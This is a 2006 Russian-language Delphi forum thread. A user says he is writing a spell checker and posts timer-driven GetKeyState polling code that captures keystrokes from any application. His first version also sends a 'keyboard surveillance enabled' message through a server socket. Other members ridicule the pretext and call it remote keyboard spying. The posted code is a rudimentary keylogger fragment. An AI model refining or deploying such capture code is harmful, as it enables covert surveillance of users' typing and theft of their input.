| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL | | Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

	« предыдущая ветвь | форум | следующая ветвь »

Помогите разобраться с текстом!!! [D6, WinXP]

Новочеркасский Волк ©   (2006-03-16 15:20:00) 

Здравствуйте. Я пытаюсь написать программа которая проверяет текст на орфографию. И использую вот такой код, чтоб когда пользователь набирал где нибудь текст, то он автоматически отображался в Memo1.

procedure TForm1.Timer2Timer(Sender: TObject);
var
a: word;
begin
ServerSocket1.Socket.SendText('Слежка за клавиатурой вулючена');
a:=GetKeyState(Ord('Q'));
if (a and 32768)=32768 then
begin
Memo1.Text:=(Memo1.Text+'й');
end;
-------------------------
И так для всех остальных клавиш (мне не в напряг)
-------------------------

На таймере стоит интервал:=18 И всё отлично если пользователь довольно быстро набирает текст, но а если нет то получаеться нечто подобное например слово текст выглядит как "тттееккксст". Подскажите как мне избежать этого???
---------------------------------
Заранее всем спасибо!!!

---

Сергей М.   (2006-03-17 16:34:00) [1]

> Новоркассий страшный зверь

Как же тут не уписаться при том при всём ?) ... Головой-то подумай ?..

---

Сергей М.   (2006-03-17 16:32:00) [2]

> Новочеркасский Волк ©   (17.03.06 16:29) [9]
> Чё смешного???? То?!
> <Цитата>


Да то и смешно)..


> вопрос то не в том


Твоя фраза ?

Ну дак а какого ж тогда хрена ты приводишь фрагмент текста программы, НЕ относящейся к "вопросу" ?

---

Новочеркасский Волк   (2006-03-17 16:29:00) [3]

Чё смешного???? То?!

---

msguns   (2006-03-17 14:36:00) [4]

чуть не уписался читая ;)))

---

Новочеркасский Волк   (2006-03-17 14:23:00) [5]

Я перепутал там нет этого следить за клавиатурой. Код выглядет вот так:

procedure TForm1.Timer2Timer(Sender: TObject);
var
a: word;
begin
a:=GetKeyState(Ord('Q'));
if (a and 32768)=32768 then
begin
Memo1.Text:=(Memo1.Text+'й');
end;

И весь текст отсылается на форму в Memo1, где и происходит проверка на орфографию. Я этот код не писал сюда. Там всё работает. И кстати OnKeyPress OnKeyDown OnKeyUP работают только когда форма активна. А у в данном случае может быть активен текстовый редактор да и всё что угодно. Да и вопрос то не в том.

---

Жуков Олег   (2006-03-16 20:35:00) [6]

http://delphimaster.ru/cgi-bin/forum.pl?id=1142449191&n=3

---

Virgo_Style   (2006-03-16 18:34:00) [7]

угу, угу. Удаленная слежка за клавиатурой, ой, то есть орфографией. Забавненько)))

---

Boris Marchenko   (2006-03-16 17:02:00) [8]

Весело ))

---

Гаврила   (2006-03-16 16:46:00) [9]

> Сергей М. ©


> И причем здесь, кстати. какая-то там "орфография" ?
> Она ГДЕ в твоем коде фигурирует ?


Вот тут:
вулючена');

---

Pavia   (2006-03-16 16:05:00) [10]

OnKeyPress
OnKeyDown
OnKeyUP

---

Сергей М.   (2006-03-16 15:51:00) [11]

Ты обалдел что ли ?

Каждые 18 миллисекунд грузить сеть отправкой идиотскогго сообщения, что, мол, какая-то там твоя "слежка ..вулючена" ?

Головой-то подумай ..

И причем здесь, кстати. какая-то там "орфография" ? Она ГДЕ в твоем коде фигурирует ? Ткни меня носом, бестолочь эдакую, в то самое место в твоем коде ..

---

Наверх